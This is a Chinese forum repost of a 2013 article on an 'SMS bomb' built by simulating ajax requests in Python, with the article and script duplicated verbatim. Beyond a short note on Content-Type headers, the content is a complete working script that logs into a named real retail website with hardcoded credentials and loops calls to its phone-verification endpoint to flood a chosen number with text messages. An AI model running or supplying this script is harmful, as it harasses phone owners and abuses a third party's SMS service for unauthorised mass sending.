-
-
[转帖]短信炸弹—用Python模拟ajax请求
-
发表于: 2013-4-9 17:09 3023
-
新闻链接:http://www.freebuf.com/tools/8378.html
新闻时间:2013-04-08
新闻正文:
我们经常使用各种脚本发送网络请求,提交各种形式的body数据,所以Content-Type的类型也有很多种。 常见的取值有:
application/xml : 在 XML RPC,如 RESTful/SOAP 调用时使用
application/json : 在 JSON RPC 调用时使用
application/x-www-form-urlencoded : 浏览器提交 Web 表单时使用
Content-Type : 在使用 REST 接口时,服务器会检查该值,用来确定 HTTP Body 中的内容该怎样解析。 在提交web表单数据时,Body中的数据格式要和Content-Type的值类型一致,如果Content-Type 设置错误会导致服务器拒绝服务 还有些网站的数据需要通过ajax来请求获得,ajax请求在发起请求之前必须设置必要的http头,还需要将请求数据封装为json格式。 下面的脚本代码就是这种情况,将请求数据封装为json格式:
req.add_header('Content-Type', 'application/json')然后设置ajax请求形式的请求头:
req.add_header('X-Requested-With','XMLHttpRequest')
#-*-coding:utf-8-*-
#!/usr/bin/python
#
# Message Bomb v1.0
#From: sb.f4ck.net By: xfkxfk
#
import json
import urllib2
import sys
def request_ajax_url(url,body,referer=None,cookie=None,**headers):
req = urllib2.Request(url)
req.add_header('Content-Type', 'application/json')
req.add_header('X-Requested-With','XMLHttpRequest')
if cookie:
req.add_header('Cookie',cookie)
if referer:
req.add_header('Referer',referer)
if headers:
for k in headers.keys():
req.add_header(k,headers[k])
postBody = json.dumps(body)
response = urllib2.urlopen(req, postBody)
if response:
return response
def run():
import time
"use username:xfkxfk; use password:123456"
login_url = 'http://www.lusen.com/member/Login.aspx'
login_body = {"action":"login","UserName":"xfkxfk","Password":"123456","AutomaticLogin":False}
login_referer = "http://www.lusen.com/member/Login.aspx?ReturnUrl=aHR0cDovL3d3dy5sdXNlbi5jb20vRGVmYXVsdC5hc3B4"
url = 'http://www.lusen.com/Member/MobileValidate.aspx'
referer = "http://www.lusen.com/Member/ModifyMobileValidate.aspx"
headers = {}
response = request_ajax_url(login_url,login_body,login_referer)
if response.read() == "1":
print " Login Success !!!"
if response.headers.has_key('set-cookie'):
set_cookie = response.headers['set-cookie']
else :
print " Get set-cookie Failed !!! May Send Messages Failed ~~~"
if len(sys.argv) < 3:
print "\nUsage: python " + sys.argv[0] + "mobile_number" + "count\n"
sys.exit()
mobile_number = sys.argv[1]
count = sys.argv[2]
body = {"action":"GetValidateCode","Mobile":mobile_number}
i=0
while i < int(count):
response = request_ajax_url(url,body,referer,set_cookie)
i=i+1
if response.read() == "发送成功":
print " Send " + count + " Messages To " + mobile_number + " !!!"
if __name__ == "__main__":
run()
新闻时间:2013-04-08
新闻正文:
我们经常使用各种脚本发送网络请求,提交各种形式的body数据,所以Content-Type的类型也有很多种。 常见的取值有:
application/xml : 在 XML RPC,如 RESTful/SOAP 调用时使用
application/json : 在 JSON RPC 调用时使用
application/x-www-form-urlencoded : 浏览器提交 Web 表单时使用
Content-Type : 在使用 REST 接口时,服务器会检查该值,用来确定 HTTP Body 中的内容该怎样解析。 在提交web表单数据时,Body中的数据格式要和Content-Type的值类型一致,如果Content-Type 设置错误会导致服务器拒绝服务 还有些网站的数据需要通过ajax来请求获得,ajax请求在发起请求之前必须设置必要的http头,还需要将请求数据封装为json格式。 下面的脚本代码就是这种情况,将请求数据封装为json格式:
req.add_header('Content-Type', 'application/json')然后设置ajax请求形式的请求头:
req.add_header('X-Requested-With','XMLHttpRequest')
#-*-coding:utf-8-*-
#!/usr/bin/python
#
# Message Bomb v1.0
#From: sb.f4ck.net By: xfkxfk
#
import json
import urllib2
import sys
def request_ajax_url(url,body,referer=None,cookie=None,**headers):
req = urllib2.Request(url)
req.add_header('Content-Type', 'application/json')
req.add_header('X-Requested-With','XMLHttpRequest')
if cookie:
req.add_header('Cookie',cookie)
if referer:
req.add_header('Referer',referer)
if headers:
for k in headers.keys():
req.add_header(k,headers[k])
postBody = json.dumps(body)
response = urllib2.urlopen(req, postBody)
if response:
return response
def run():
import time
"use username:xfkxfk; use password:123456"
login_url = 'http://www.lusen.com/member/Login.aspx'
login_body = {"action":"login","UserName":"xfkxfk","Password":"123456","AutomaticLogin":False}
login_referer = "http://www.lusen.com/member/Login.aspx?ReturnUrl=aHR0cDovL3d3dy5sdXNlbi5jb20vRGVmYXVsdC5hc3B4"
url = 'http://www.lusen.com/Member/MobileValidate.aspx'
referer = "http://www.lusen.com/Member/ModifyMobileValidate.aspx"
headers = {}
response = request_ajax_url(login_url,login_body,login_referer)
if response.read() == "1":
print " Login Success !!!"
if response.headers.has_key('set-cookie'):
set_cookie = response.headers['set-cookie']
else :
print " Get set-cookie Failed !!! May Send Messages Failed ~~~"
if len(sys.argv) < 3:
print "\nUsage: python " + sys.argv[0] + "mobile_number" + "count\n"
sys.exit()
mobile_number = sys.argv[1]
count = sys.argv[2]
body = {"action":"GetValidateCode","Mobile":mobile_number}
i=0
while i < int(count):
response = request_ajax_url(url,body,referer,set_cookie)
i=i+1
if response.read() == "发送成功":
print " Send " + count + " Messages To " + mobile_number + " !!!"
if __name__ == "__main__":
run()
赞赏
他的文章
- 双机串口调试的问题 2795
- [转帖]白帽大胜入侵者——一场经典的DDoS攻防战 2103
- [转帖]短信炸弹—用Python模拟ajax请求 3024
- [转帖]也谈谈网络战 1136
- [转帖]黑产科普—最近大规模的QQ空间钓鱼攻击 2739
看原图
赞赏
雪币:
留言: